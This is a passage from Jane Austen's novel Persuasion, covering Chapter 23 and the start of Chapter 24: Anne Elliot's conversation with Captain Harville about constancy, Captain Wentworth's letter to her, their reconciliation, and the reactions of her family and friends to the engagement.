great surprise +I met with Mr Elliot in Bath Street. I was never more astonished. +He turned back and walked with me to the Pump Yard. He had been prevented +setting off for Thornberry, but I really forget by what; +for I was in a hurry, and could not much attend, and I can only answer +for his being determined not to be delayed in his return. +He wanted to know how early he might be admitted to-morrow. +He was full of `to-morrow,' and it is very evident that I have been +full of it too, ever since I entered the house, and learnt the extension +of your plan and all that had happened, or my seeing him could never have +gone so entirely out of my head." + + + +Chapter 23 + + +One day only had passed since Anne's conversation with Mrs Smith; +but a keener interest had succeeded, and she was now so little touched +by Mr Elliot's conduct, except by its effects in one quarter, +that it became a matter of course the next morning, still to defer +her explanatory visit in Rivers Street. She had promised to be +with the Musgroves from breakfast to dinner. Her faith was plighted, +and Mr Elliot's character, like the Sultaness Scheherazade's head, +must live another day. + +She could not keep her appointment punctually, however; +the weather was unfavourable, and she had grieved over the rain +on her friends' account, and felt it very much on her own, +before she was able to attempt the walk. When she reached the White Hart, +and made her way to the proper apartment, she found herself +neither arriving quite in time, nor the first to arrive. +The party before her were, Mrs Musgrove, talking to Mrs Croft, +and Captain Harville to Captain Wentworth; and she immediately heard +that Mary and Henrietta, too impatient to wait, had gone out the moment +it had cleared, but would be back again soon, and that the strictest +injunctions had been left with Mrs Musgrove to keep her there +till they returned. She had only to submit, sit down, +be outwardly composed, and feel herself plunged at once +in all the agitations which she had merely laid her account of +tasting a little before the morning closed. There was no delay, +no waste of time. She was deep in the happiness of such misery, +or the misery of such happiness, instantly. Two minutes after +her entering the room, Captain Wentworth said-- + +"We will write the letter we were talking of, Harville, now, +if you will give me materials." + +Materials were at hand, on a separate table; he went to it, +and nearly turning his back to them all, was engrossed by writing. + +Mrs Musgrove was giving Mrs Croft the history of her eldest +daughter's engagement, and just in that inconvenient tone of voice +which was perfectly audible while it pretended to be a whisper. +Anne felt that she did not belong to the conversation, and yet, +as Captain Harville seemed thoughtful and not disposed to talk, +she could not avoid hearing many undesirable particulars; such as, +"how Mr Musgrove and my brother Hayter had met again and again +to talk it over; what my brother Hayter had said one day, +and what Mr Musgrove had proposed the next, and what had occurred +to my sister Hayter, and what the young people had wished, and what +I said at first I never could consent to, but was afterwards persuaded +to think might do very well," and a great deal in the same style +of open-hearted communication: minutiae which, even with every advantage +of taste and delicacy, which good Mrs Musgrove could not give, +could be properly interesting only to the principals. Mrs Croft +was attending with great good-humour, and whenever she spoke at all, +it was very sensibly. Anne hoped the gentlemen might each be +too much self-occupied to hear. + +"And so, ma'am, all these thing considered," said Mrs Musgrove, +in her powerful whisper, "though we could have wished it different, +yet, altogether, we did not think it fair to stand out any longer, +for Charles Hayter was quite wild about it, and Henrietta was +pretty near as bad; and so we thought they had better marry at once, +and make the best of it, as many others have done before them. +At any rate, said I, it will be better than a long engagement." + +"That is precisely what I was going to observe," cried Mrs Croft. +"I would rather have young people settle on a small income at once, +and have to struggle with a few difficulties together, than be +involved in a long engagement. I always think that no mutual--" + +"Oh! dear Mrs Croft," cried Mrs Musgrove, unable to let her +finish her speech, "there is nothing I so abominate for young people +as a long engagement. It is what I always protested against +for my children. It is all very well, I used to say, for young people +to be engaged, if there is a certainty of their being able to marry +in six months, or even in twelve; but a long engagement--" + +"Yes, dear ma'am," said Mrs Croft, "or an uncertain engagement, +an engagement which may be long. To begin without knowing +that at such a time there will be the means of marrying, +I hold to be very unsafe and unwise, and what I think all parents +should prevent as far as they can." + +Anne found an unexpected interest here. She felt its application +to herself, felt it in a nervous thrill all over her; and at the same +moment that her eyes instinctively glanced towards the distant table, +Captain Wentworth's pen ceased to move, his head was raised, pausing, +listening, and he turned round the next instant to give a look, +one quick, conscious look at her. + +The two ladies continued to talk, to re-urge the same admitted truths, +and enforce them with such examples of the ill effect of +a contrary practice as had fallen within their observation, +but Anne heard nothing distinctly; it was only a buzz of words in her ear, +her mind was in confusion. + +Captain Harville, who had in truth been hearing none of it, +now left his seat, and moved to a window, and Anne seeming to watch him, +though it was from thorough absence of mind, became gradually sensible +that he was inviting her to join him where he stood. He looked at her +with a smile, and a little motion of the head, which expressed, +"Come to me, I have something to say;" and the unaffected, +easy kindness of manner which denoted the feelings of an older acquaintance +than he really was, strongly enforced the invitation. She roused herself +and went to him. The window at which he stood was at the other end +of the room from where the two ladies were sitting, and though nearer +to Captain Wentworth's table, not very near. As she joined him, +Captain Harville's countenance re-assumed the serious, thoughtful +expression which seemed its natural character. + +"Look here," said he, unfolding a parcel in his hand, and displaying +a small miniature painting, "do you know who that is?" + +"Certainly: Captain Benwick." + +"Yes, and you may guess who it is for. But," (in a deep tone,) +"it was not done for her. Miss Elliot, do you remember our +walking together at Lyme, and grieving for him? I little thought then-- +but no matter. This was drawn at the Cape. He met with +a clever young German artist at the Cape, and in compliance with a promise +to my poor sister, sat to him, and was bringing it home for her; +and I have now the charge of getting it properly set for another! +It was a commission to me! But who else was there to employ? +I hope I can allow for him. I am not sorry, indeed, to make it +over to another. He undertakes it;" (looking towards Captain Wentworth,) +"he is writing about it now." And with a quivering lip he wound up +the whole by adding, "Poor Fanny! she would not have forgotten him so soon!" + +"No," replied Anne, in a low, feeling voice. "That I can easily believe." + +"It was not in her nature. She doted on him." + +"It would not be the nature of any woman who truly loved." + +Captain Harville smiled, as much as to say, "Do you claim that +for your sex?" and she answered the question, smiling also, +"Yes. We certainly do not forget you as soon as you forget us. +It is, perhaps, our fate rather than our merit. We cannot help ourselves. +We live at home, quiet, confined, and our feelings prey upon us. +You are forced on exertion. You have always a profession, pursuits, +business of some sort or other, to take you back into the world immediately, +and continual occupation and change soon weaken impressions." + +"Granting your assertion that the world does all this so soon for men +(which, however, I do not think I shall grant), it does not apply +to Benwick. He has not been forced upon any exertion. The peace +turned him on shore at the very moment, and he has been living with us, +in our little family circle, ever since." + +"True," said Anne, "very true; I did not recollect; but what shall +we say now, Captain Harville? If the change be not from +outward circumstances, it must be from within; it must be nature, +man's nature, which has done the business for Captain Benwick." + +"No, no, it is not man's nature. I will not allow it to be more +man's nature than woman's to be inconstant and forget those they do love, +or have loved. I believe the reverse. I believe in a true analogy +between our bodily frames and our mental; and that as our bodies are +the strongest, so are our feelings; capable of bearing most rough usage, +and riding out the heaviest weather." + +"Your feelings may be the strongest," replied Anne, "but the same spirit +of analogy will authorise me to assert that ours are the most tender. +Man is more robust than woman, but he is not longer lived; +which exactly explains my view of the nature of their attachments. +Nay, it would be too hard upon you, if it were otherwise. +You have difficulties, and privations, and dangers enough to struggle with. +You are always labouring and toiling, exposed to every risk and hardship. +Your home, country, friends, all quitted. Neither time, nor health, +nor life, to be called your own. It would be hard, indeed" +(with a faltering voice), "if woman's feelings were to be +added to all this." + +"We shall never agree upon this question," Captain Harville +was beginning to say, when a slight noise called their attention +to Captain Wentworth's hitherto perfectly quiet division of the room. +It was nothing more than that his pen had fallen down; but Anne was +startled at finding him nearer than she had supposed, and half inclined +to suspect that the pen had only fallen because he had been +occupied by them, striving to catch sounds, which yet she did not think +he could have caught. + +"Have you finished your letter?" said Captain Harville. + +"Not quite, a few lines more. I shall have done in five minutes." + +"There is no hurry on my side. I am only ready whenever you are. +I am in very good anchorage here," (smiling at Anne,) "well supplied, +and want for nothing. No hurry for a signal at all. Well, Miss Elliot," +(lowering his voice,) "as I was saying we shall never agree, +I suppose, upon this point. No man and woman, would, probably. +But let me observe that all histories are against you--all stories, +prose and verse. If I had such a memory as Benwick, I could bring you +fifty quotations in a moment on my side the argument, and I do not think +I ever opened a book in my life which had not something to say +upon woman's inconstancy. Songs and proverbs, all talk +of woman's fickleness. But perhaps you will say, these were all +written by men." + +"Perhaps I shall. Yes, yes, if you please, no reference to examples +in books. Men have had every advantage of us in telling their own story. +Education has been theirs in so much higher a degree; the pen has +been in their hands. I will not allow books to prove anything." + +"But how shall we prove anything?" + +"We never shall. We never can expect to prove any thing upon such a point. +It is a difference of opinion which does not admit of proof. +We each begin, probably, with a little bias towards our own sex; +and upon that bias build every circumstance in favour of it +which has occurred within our own circle; many of which circumstances +(perhaps those very cases which strike us the most) may be precisely such +as cannot be brought forward without betraying a confidence, +or in some respect saying what should not be said." + +"Ah!" cried Captain Harville, in a tone of strong feeling, +"if I could but make you comprehend what a man suffers when he takes +a last look at his wife and children, and watches the boat +that he has sent them off in, as long as it is in sight, +and then turns away and says, `God knows whether we ever meet again!' +And then, if I could convey to you the glow of his soul when he does +see them again; when, coming back after a twelvemonth's absence, +perhaps, and obliged to put into another port, he calculates how soon +it be possible to get them there, pretending to deceive himself, +and saying, `They cannot be here till such a day,' but all the while +hoping for them twelve hours sooner, and seeing them arrive at last, +as if Heaven had given them wings, by many hours sooner still! +If I could explain to you all this, and all that a man can bear and do, +and glories to do, for the sake of these treasures of his existence! +I speak, you know, only of such men as have hearts!" pressing his own +with emotion. + +"Oh!" cried Anne eagerly, "I hope I do justice to all that is felt by you, +and by those who resemble you. God forbid that I should undervalue +the warm and faithful feelings of any of my fellow-creatures! +I should deserve utter contempt if I dared to suppose that true attachment +and constancy were known only by woman. No, I believe you capable +of everything great and good in your married lives. I believe you equal +to every important exertion, and to every domestic forbearance, +so long as--if I may be allowed the expression--so long as you have +an object. I mean while the woman you love lives, and lives for you. +All the privilege I claim for my own sex (it is not a very enviable one; +you need not covet it), is that of loving longest, when existence +or when hope is gone." + +She could not immediately have uttered another sentence; her heart +was too full, her breath too much oppressed. + +"You are a good soul," cried Captain Harville, putting his hand +on her arm, quite affectionately. "There is no quarrelling with you. +And when I think of Benwick, my tongue is tied." + +Their attention was called towards the others. Mrs Croft was taking leave. + +"Here, Frederick, you and I part company, I believe," said she. +"I am going home, and you have an engagement with your friend. +To-night we may have the pleasure of all meeting again at your party," +(turning to Anne.) "We had your sister's card yesterday, +and I understood Frederick had a card too, though I did not see it; +and you are disengaged, Frederick, are you not, as well as ourselves?" + +Captain Wentworth was folding up a letter in great haste, and either +could not or would not answer fully. + +"Yes," said he, "very true; here we separate, but Harville and I +shall soon be after you; that is, Harville, if you are ready, +I am in half a minute. I know you will not be sorry to be off. +I shall be at your service in half a minute." + +Mrs Croft left them, and Captain Wentworth, having sealed his letter +with great rapidity, was indeed ready, and had even a hurried, +agitated air, which shewed impatience to be gone. Anne knew not how +to understand it. She had the kindest "Good morning, God bless you!" +from Captain Harville, but from him not a word, nor a look! +He had passed out of the room without a look! + +She had only time, however, to move closer to the table where +he had been writing, when footsteps were heard returning; +the door opened, it was himself. He begged their pardon, +but he had forgotten his gloves, and instantly crossing the room +to the writing table, he drew out a letter from under the scattered paper, +placed it before Anne with eyes of glowing entreaty fixed on her +for a time, and hastily collecting his gloves, was again out of the room, +almost before Mrs Musgrove was aware of his being in it: +the work of an instant! + +The revolution which one instant had made in Anne, was almost +beyond expression. The letter, with a direction hardly legible, +to "Miss A. E.--," was evidently the one which he had been folding +so hastily. While supposed to be writing only to Captain Benwick, +he had been also addressing her! On the contents of that letter +depended all which this world could do for her. Anything was possible, +anything might be defied rather than suspense. Mrs Musgrove had +little arrangements of her own at her own table; to their protection +she must trust, and sinking into the chair which he had occupied, +succeeding to the very spot where he had leaned and written, +her eyes devoured the following words: + + +"I can listen no longer in silence. I must speak to you by such means +as are within my reach. You pierce my soul. I am half agony, +half hope. Tell me not that I am too late, that such precious feelings +are gone for ever. I offer myself to you again with a heart +even more your own than when you almost broke it, eight years +and a half ago. Dare not say that man forgets sooner than woman, +that his love has an earlier death. I have loved none but you. +Unjust I may have been, weak and resentful I have been, +but never inconstant. You alone have brought me to Bath. +For you alone, I think and plan. Have you not seen this? +Can you fail to have understood my wishes? I had not waited even +these ten days, could I have read your feelings, as I think you must have +penetrated mine. I can hardly write. I am every instant hearing +something which overpowers me. You sink your voice, but I can +distinguish the tones of that voice when they would be lost on others. +Too good, too excellent creature! You do us justice, indeed. +You do believe that there is true attachment and constancy among men. +Believe it to be most fervent, most undeviating, in F. W. + +"I must go, uncertain of my fate; but I shall return hither, +or follow your party, as soon as possible. A word, a look, +will be enough to decide whether I enter your father's house +this evening or never." + + +Such a letter was not to be soon recovered from. Half and hour's solitude +and reflection might have tranquillized her; but the ten minutes only +which now passed before she was interrupted, with all the restraints +of her situation, could do nothing towards tranquillity. Every moment +rather brought fresh agitation. It was overpowering happiness. +And before she was beyond the first stage of full sensation, +Charles, Mary, and Henrietta all came in. + +The absolute necessity of seeming like herself produced then +an immediate struggle; but after a while she could do no more. +She began not to understand a word they said, and was obliged +to plead indisposition and excuse herself. They could then see +that she looked very ill, were shocked and concerned, and would not +stir without her for the world. This was dreadful. Would they only +have gone away, and left her in the quiet possession of that room +it would have been her cure; but to have them all standing or +waiting around her was distracting, and in desperation, +she said she would go home. + +"By all means, my dear," cried Mrs Musgrove, "go home directly, +and take care of yourself, that you may be fit for the evening. +I wish Sarah was here to doctor you, but I am no doctor myself. +Charles, ring and order a chair. She must not walk." + +But the chair would never do. Worse than all! To lose the possibility +of speaking two words to Captain Wentworth in the course of her quiet, +solitary progress up the town (and she felt almost certain of meeting him) +could not be borne. The chair was earnestly protested against, +and Mrs Musgrove, who thought only of one sort of illness, +having assured herself with some anxiety, that there had been no fall +in the case; that Anne had not at any time lately slipped down, +and got a blow on her head; that she was perfectly convinced of having +had no fall; could part with her cheerfully, and depend on +finding her better at night. + +Anxious to omit no possible precaution, Anne struggled, and said-- + +"I am afraid, ma'am, that it is not perfectly understood. +Pray be so good as to mention to the other gentlemen that we hope +to see your whole party this evening. I am afraid there had been +some mistake; and I wish you particularly to assure Captain Harville +and Captain Wentworth, that we hope to see them both." + +"Oh! my dear, it is quite understood, I give you my word. +Captain Harville has no thought but of going." + +"Do you think so? But I am afraid; and I should be so very sorry. +Will you promise me to mention it, when you see them again? +You will see them both this morning, I dare say. Do promise me." + +"To be sure I will, if you wish it. Charles, if you see Captain Harville +anywhere, remember to give Miss Anne's message. But indeed, my dear, +you need not be uneasy. Captain Harville holds himself quite engaged, +I'll answer for it; and Captain Wentworth the same, I dare say." + +Anne could do no more; but her heart prophesied some mischance +to damp the perfection of her felicity. It could not be very lasting, +however. Even if he did not come to Camden Place himself, +it would be in her power to send an intelligible sentence +by Captain Harville. Another momentary vexation occurred. +Charles, in his real concern and good nature, would go home with her; +there was no preventing him. This was almost cruel. But she could not +be long ungrateful; he was sacrificing an engagement at a gunsmith's, +to be of use to her; and she set off with him, with no feeling +but gratitude apparent. + +They were on Union Street, when a quicker step behind, a something +of familiar sound, gave her two moments' preparation for the sight +of Captain Wentworth. He joined them; but, as if irresolute +whether to join or to pass on, said nothing, only looked. +Anne could command herself enough to receive that look, +and not repulsively. The cheeks which had been pale now glowed, +and the movements which had hesitated were decided. He walked by her side. +Presently, struck by a sudden thought, Charles said-- + +"Captain Wentworth, which way are you going? Only to Gay Street, +or farther up the town?" + +"I hardly know," replied Captain Wentworth, surprised. + +"Are you going as high as Belmont? Are you going near Camden Place? +Because, if you are, I shall have no scruple in asking you +to take my place, and give Anne your arm to her father's door. +She is rather done for this morning, and must not go so far without help, +and I ought to be at that fellow's in the Market Place. +He promised me the sight of a capital gun he is just going to send off; +said he would keep it unpacked to the last possible moment, +that I might see it; and if I do not turn back now, I have no chance. +By his description, a good deal like the second size double-barrel of mine, +which you shot with one day round Winthrop." + +There could not be an objection. There could be only the most +proper alacrity, a most obliging compliance for public view; +and smiles reined in and spirits dancing in private rapture. +In half a minute Charles was at the bottom of Union Street again, +and the other two proceeding together: and soon words enough had passed +between them to decide their direction towards the comparatively quiet +and retired gravel walk, where the power of conversation would make +the present hour a blessing indeed, and prepare it for all +the immortality which the happiest recollections of their own future lives +could bestow. There they exchanged again those feelings +and those promises which had once before seemed to secure everything, +but which had been followed by so many, many years of division +and estrangement. There they returned again into the past, +more exquisitely happy, perhaps, in their re-union, than when +it had been first projected; more tender, more tried, more fixed +in a knowledge of each other's character, truth, and attachment; +more equal to act, more justified in acting. And there, as they slowly +paced the gradual ascent, heedless of every group around them, +seeing neither sauntering politicians, bustling housekeepers, +flirting girls, nor nursery-maids and children, they could indulge in +those retrospections and acknowledgements, and especially in +those explanations of what had directly preceded the present moment, +which were so poignant and so ceaseless in interest. All the little +variations of the last week were gone through; and of yesterday +and today there could scarcely be an end. + +She had not mistaken him. Jealousy of Mr Elliot had been +the retarding weight, the doubt, the torment. That had begun to operate +in the very hour of first meeting her in Bath; that had returned, +after a short suspension, to ruin the concert; and that had influenced him +in everything he had said and done, or omitted to say and do, +in the last four-and-twenty hours. It had been gradually yielding +to the better hopes which her looks, or words, or actions +occasionally encouraged; it had been vanquished at last by +those sentiments and those tones which had reached him while she talked +with Captain Harville; and under the irresistible governance of which +he had seized a sheet of paper, and poured out his feelings. + +Of what he had then written, nothing was to be retracted or qualified. +He persisted in having loved none but her. She had never been supplanted. +He never even believed himself to see her equal. Thus much indeed +he was obliged to acknowledge: that he had been constant unconsciously, +nay unintentionally; that he had meant to forget her, and believed it +to be done. He had imagined himself indifferent, when he had only +been angry; and he had been unjust to her merits, because he had been +a sufferer from them. Her character was now fixed on his mind +as perfection itself, maintaining the loveliest medium of fortitude +and gentleness; but he was obliged to acknowledge that only at Uppercross +had he learnt to do her justice, and only at Lyme had he begun +to understand himself. At Lyme, he had received lessons +of more than one sort. The passing admiration of Mr Elliot +had at least roused him, and the scenes on the Cobb and at +Captain Harville's had fixed her superiority. + +In his preceding attempts to attach himself to Louisa Musgrove +(the attempts of angry pride), he protested that he had for ever +felt it to be impossible; that he had not cared, could not care, +for Louisa; though till that day, till the leisure for reflection +which followed it, he had not understood the perfect excellence +of the mind with which Louisa's could so ill bear a comparison, +or the perfect unrivalled hold it possessed over his own. +There, he had learnt to distinguish between the steadiness of principle +and the obstinacy of self-will, between the darings of heedlessness +and the resolution of a collected mind. There he had seen everything +to exalt in his estimation the woman he had lost; and there begun +to deplore the pride, the folly, the madness of resentment, +which had kept him from trying to regain her when thrown in his way. + +From that period his penance had become severe. He had no sooner +been free from the horror and remorse attending the first few days +of Louisa's accident, no sooner begun to feel himself alive again, +than he had begun to feel himself, though alive, not at liberty. + +"I found," said he, "that I was considered by Harville an engaged man! +That neither Harville nor his wife entertained a doubt of our +mutual attachment. I was startled and shocked. To a degree, +I could contradict this instantly; but, when I began to reflect +that others might have felt the same--her own family, nay, +perhaps herself--I was no longer at my own disposal. I was hers in honour +if she wished it. I had been unguarded. I had not thought seriously +on this subject before. I had not considered that my excessive intimacy +must have its danger of ill consequence in many ways; and that I had +no right to be trying whether I could attach myself to either of the girls, +at the risk of raising even an unpleasant report, were there no other +ill effects. I had been grossly wrong, and must abide the consequences." + +He found too late, in short, that he had entangled himself; +and that precisely as he became fully satisfied of his not caring +for Louisa at all, he must regard himself as bound to her, +if her sentiments for him were what the Harvilles supposed. +It determined him to leave Lyme, and await her complete recovery elsewhere. +He would gladly weaken, by any fair means, whatever feelings or +speculations concerning him might exist; and he went, therefore, +to his brother's, meaning after a while to return to Kellynch, +and act as circumstances might require. + +"I was six weeks with Edward," said he, "and saw him happy. +I could have no other pleasure. I deserved none. He enquired after you +very particularly; asked even if you were personally altered, +little suspecting that to my eye you could never alter." + +Anne smiled, and let it pass. It was too pleasing a blunder +for a reproach. It is something for a woman to be assured, +in her eight-and-twentieth year, that she has not lost one charm +of earlier youth; but the value of such homage was inexpressibly increased +to Anne, by comparing it with former words, and feeling it to be +the result, not the cause of a revival of his warm attachment. + +He had remained in Shropshire, lamenting the blindness of his own pride, +and the blunders of his own calculations, till at once released from Louisa +by the astonishing and felicitous intelligence of her engagement +with Benwick. + +"Here," said he, "ended the worst of my state; for now I could at least +put myself in the way of happiness; I could exert myself; +I could do something. But to be waiting so long in inaction, +and waiting only for evil, had been dreadful. Within the first +five minutes I said, `I will be at Bath on Wednesday,' and I was. +Was it unpardonable to think it worth my while to come? and to arrive +with some degree of hope? You were single. It was possible that +you might retain the feelings of the past, as I did; and one encouragement +happened to be mine. I could never doubt that you would be loved and +sought by others, but I knew to a certainty that you had refused one man, +at least, of better pretensions than myself; and I could not help +often saying, `Was this for me?'" + +Their first meeting in Milsom Street afforded much to be said, +but the concert still more. That evening seemed to be made up +of exquisite moments. The moment of her stepping forward +in the Octagon Room to speak to him: the moment of Mr Elliot's appearing +and tearing her away, and one or two subsequent moments, +marked by returning hope or increasing despondency, were dwelt on +with energy. + +"To see you," cried he, "in the midst of those who could not be +my well-wishers; to see your cousin close by you, conversing and smiling, +and feel all the horrible eligibilities and proprieties of the match! +To consider it as the certain wish of every being who could hope +to influence you! Even if your own feelings were reluctant or indifferent, +to consider what powerful supports would be his! Was it not enough +to make the fool of me which I appeared? How could I look on +without agony? Was not the very sight of the friend who sat behind you, +was not the recollection of what had been, the knowledge of her influence, +the indelible, immoveable impression of what persuasion had once done-- +was it not all against me?" + +"You should have distinguished," replied Anne. "You should not have +suspected me now; the case is so different, and my age is so different. +If I was wrong in yielding to persuasion once, remember that +it was to persuasion exerted on the side of safety, not of risk. +When I yielded, I thought it was to duty, but no duty could be called +in aid here. In marrying a man indifferent to me, all risk +would have been incurred, and all duty violated." + +"Perhaps I ought to have reasoned thus," he replied, "but I could not. +I could not derive benefit from the late knowledge I had acquired +of your character. I could not bring it into play; it was overwhelmed, +buried, lost in those earlier feelings which I had been smarting under +year after year. I could think of you only as one who had yielded, +who had given me up, who had been influenced by any one rather than by me. +I saw you with the very person who had guided you in that year of misery. +I had no reason to believe her of less authority now. The force of habit +was to be added." + +"I should have thought," said Anne, "that my manner to yourself +might have spared you much or all of this." + +"No, no! your manner might be only the ease which your engagement +to another man would give. I left you in this belief; and yet, +I was determined to see you again. My spirits rallied with the morning, +and I felt that I had still a motive for remaining here." + +At last Anne was at home again, and happier than any one in that house +could have conceived. All the surprise and suspense, and every other +painful part of the morning dissipated by this conversation, +she re-entered the house so happy as to be obliged to find an alloy +in some momentary apprehensions of its being impossible to last. +An interval of meditation, serious and grateful, was the best corrective +of everything dangerous in such high-wrought felicity; and she went +to her room, and grew steadfast and fearless in the thankfulness +of her enjoyment. + +The evening came, the drawing-rooms were lighted up, the company assembled. +It was but a card party, it was but a mixture of those who had +never met before, and those who met too often; a commonplace business, +too numerous for intimacy, too small for variety; but Anne had never found +an evening shorter. Glowing and lovely in sensibility and happiness, +and more generally admired than she thought about or cared for, +she had cheerful or forbearing feelings for every creature around her. +Mr Elliot was there; she avoided, but she could pity him. +The Wallises, she had amusement in understanding them. Lady Dalrymple +and Miss Carteret--they would soon be innoxious cousins to her. +She cared not for Mrs Clay, and had nothing to blush for in +the public manners of her father and sister. With the Musgroves, +there was the happy chat of perfect ease; with Captain Harville, +the kind-hearted intercourse of brother and sister; with Lady Russell, +attempts at conversation, which a delicious consciousness cut short; +with Admiral and Mrs Croft, everything of peculiar cordiality and +fervent interest, which the same consciousness sought to conceal; +and with Captain Wentworth, some moments of communications +continually occurring, and always the hope of more, and always +the knowledge of his being there. + +It was in one of these short meetings, each apparently occupied +in admiring a fine display of greenhouse plants, that she said-- + +"I have been thinking over the past, and trying impartially +to judge of the right and wrong, I mean with regard to myself; +and I must believe that I was right, much as I suffered from it, +that I was perfectly right in being guided by the friend whom +you will love better than you do now. To me, she was in the place +of a parent. Do not mistake me, however. I am not saying +that she did not err in her advice. It was, perhaps, one of those cases +in which advice is good or bad only as the event decides; +and for myself, I certainly never should, in any circumstance +of tolerable similarity, give such advice. But I mean, that I was right +in submitting to her, and that if I had done otherwise, I should have +suffered more in continuing the engagement than I did even in giving it up, +because I should have suffered in my conscience. I have now, +as far as such a sentiment is allowable in human nature, nothing +to reproach myself with; and if I mistake not, a strong sense of duty +is no bad part of a woman's portion." + +He looked at her, looked at Lady Russell, and looking again at her, +replied, as if in cool deliberation-- + +"Not yet. But there are hopes of her being forgiven in time. +I trust to being in charity with her soon. But I too have been +thinking over the past, and a question has suggested itself, +whether there may not have been one person more my enemy +even than that lady? My own self. Tell me if, when I returned +to England in the year eight, with a few thousand pounds, +and was posted into the Laconia, if I had then written to you, +would you have answered my letter? Would you, in short, +have renewed the engagement then?" + +"Would I!" was all her answer; but the accent was decisive enough. + +"Good God!" he cried, "you would! It is not that I did not think of it, +or desire it, as what could alone crown all my other success; +but I was proud, too proud to ask again. I did not understand you. +I shut my eyes, and would not understand you, or do you justice. +This is a recollection which ought to make me forgive every one +sooner than myself. Six years of separation and suffering +might have been spared. It is a sort of pain, too, which is new to me. +I have been used to the gratification of believing myself to earn +every blessing that I enjoyed. I have valued myself on honourable toils +and just rewards. Like other great men under reverses," he added, +with a smile. "I must endeavour to subdue my mind to my fortune. +I must learn to brook being happier than I deserve." + + + +Chapter 24 + + +Who can be in doubt of what followed? When any two young people +take it into their heads to marry, they are pretty sure by perseverance +to carry their point, be they ever so poor, or ever so imprudent, +or ever so little likely to be necessary to each other's ultimate comfort. +This may be bad morality to conclude with, but I believe it to be truth; +and if such parties succeed, how should a Captain Wentworth and +an Anne Elliot, with the advantage of maturity of mind, +consciousness of right, and one independent fortune between them, +fail of bearing down every opposition? They might in fact, +have borne down a great deal more than they met with, for there was +little to distress them beyond the want of graciousness and warmth. +Sir Walter made no objection, and Elizabeth did nothing worse +than look cold and unconcerned. Captain Wentworth, with five-and-twenty +thousand pounds, and as high in his profession as merit and activity +could place him, was no longer nobody. He was now esteemed quite worthy +to address the daughter of a foolish, spendthrift baronet, +who had not had principle or sense enough to maintain himself +in the situation in which Providence had placed him, and who could +give his daughter at present but a small part of the share +of ten thousand pounds which must be hers hereafter. + +Sir Walter, indeed, though he had no affection for Anne, +and no vanity flattered, to make him really happy on the occasion, +was very far from thinking it a bad match for her. On the contrary, +when he saw more of Captain Wentworth, saw him repeatedly by daylight, +and eyed him well, he was very much struck by his personal claims, +and felt that his superiority of appearance might be not unfairly balanced +against her superiority of rank; and all this, assisted by +his well-sounding name, enabled Sir Walter at last to prepare his pen, +with a very good grace, for the insertion of the marriage +in the volume of honour. + +The only one among them, whose opposition of feeling could excite +any serious anxiety was Lady Russell. Anne knew that Lady Russell +must be suffering some pain in understanding and relinquishing Mr Elliot, +and be making some struggles to become truly acquainted with, +and do justice to Captain Wentworth. This however was what +Lady Russell had now to do. She must learn to feel that she had +been mistaken with regard to both; that she had been unfairly influenced +by appearances in each; that because Captain Wentworth's manners +had not suited her own ideas, she had been too quick in suspecting them +to indicate a character of dangerous impetuosity; and that because +Mr Elliot's manners had precisely pleased her in their propriety +and correctness, their general politeness and suavity, she had been +too quick in receiving them as the certain result of the most correct +opinions and well-regulated mind. There was nothing less +for Lady Russell to do, than to admit that she had been +pretty completely wrong, and to take up a new set of opinions +and of hopes. + +There is a quickness of perception in some, a nicety in the discernment +of character, a natural penetration, in short, which no experience +in others can equal, and Lady Russell had been less gifted +in this part of understanding than her young friend. But she was +a very good woman, and if her second object was to be sensible +and well-judging, her first was to see Anne happy. She loved Anne +better than she loved her own abilities; and when the awkwardness +of the beginning was over, found little hardship in attaching herself +as a mother to the man who was securing the happiness of her other child. + +Of all the family, Mary was probably the one most immediately gratified +by the circumstance. It was creditable to have a sister married, +and she might flatter herself with having been greatly instrumental +to the connexion, by keeping Anne with her in the autumn; +and as her own sister must be better than her husband's sisters, +it was very agreeable that Captain Wentworth should be a richer man than +either Captain Benwick or Charles Hayter. She had something to suffer, +perhaps, when they came into contact again, in seeing Anne restored +to the rights of seniority, and the mistress of a very pretty landaulette; +but she had a future to look forward to, of powerful consolation. +Anne had no Uppercross Hall before her, no landed estate, +no headship of a family; and if they could but keep Captain Wentworth +from being made a baronet, she would not change situations with Anne. + +It would be well for the eldest sister if she were equally satisfied +with her situation, for a change is not very probable there. +She had soon the mortification of seeing Mr Elliot withdraw, +and no one of proper condition has since presented himself to raise +even the unfounded hopes which sunk with him. + +The news of his cousins Anne's engagement burst on Mr Elliot +most unexpectedly. It deranged his best plan of domestic happiness, +his best hope of keeping Sir Walter single by the watchfulness +which a son-in-law's rights would have given. But, though discomfited +and disappointed, he could still do something for his own interest +and his own enjoyment. He soon quitted Bath; and on Mrs Clay's +quitting it soon afterwards, and being next heard of as established +under his protection in London, it was evident how double a game +he had been playing, and how determined he was to save himself +from being cut out by one artful woman, at least. + +Mrs Clay's affections had overpowered her interest, and she had sacrificed, +for the young man's sake, the possibility of scheming longer +for Sir Walter. She has abilities, however, as well as affections; +and it is now a doubtful point whether his cunning, or hers, +may finally carry the day; whether, after preventing her from being +the wife of Sir Walter, he may not be wheedled and caressed at last +into making her the wife of Sir William. + +It cannot be doubted that Sir Walter and Elizabeth were shocked +and mortified by the loss of their companion, and the discovery of +their deception in her. They had their great cousins, to be sure, +to resort to for comfort; but they must long feel that to flatter +and follow others, without being flattered and followed in turn, +is but a state of half enjoyment. + +Anne, satisfied at a very early period of Lady Russell's meaning +to love Captain Wentworth as she ought, had no other alloy +to the happiness of her prospects than what arose from the consciousness +of having no relations to bestow on him which a man of sense could value. +There she felt her own inferiority very keenly. The disproportion +in their fortune was nothing; it did not give her a moment's regret; +but to have no family to receive and estimate him properly, +nothing of respectability, of harmony, of good will to offer +in return for all the worth and all the prompt welcome which met her +in his brothers and sisters, was a source of as lively pain +as her mind could well be sensible of under circumstances of otherwise +strong felicity. She had but two friends in the world to add to his list, +Lady Russell and Mrs Smith. To those, however, he was very well disposed +to attach himself. Lady Russell, in spite of all her former transgressions, +he could now value from his heart. While he was not obliged to say +that he believed her to have been right in originally dividing them, +he was ready to say almost everything else in her favour, +and as for Mrs Smith, she had claims of various kinds to recommend her +quickly and permanently. + +Her recent good offices by Anne had been enough in themselves, +and their marriage, instead of depriving her of one friend, +secured her two. She was their earliest visitor in their settled life; +and Captain Wentworth, by putting her in the way of recovering +her husband's property in the West Indies, by writing for her, +acting for her, and seeing her through all the petty difficulties +of the case with the activity and exertion of a fearless man +and a determined friend, fully requited the services which +she had rendered, or ever meant to render, to his wife. + +Mrs Smith's enjoyments were not spoiled by this improvement of income, +with some improvement of health, and 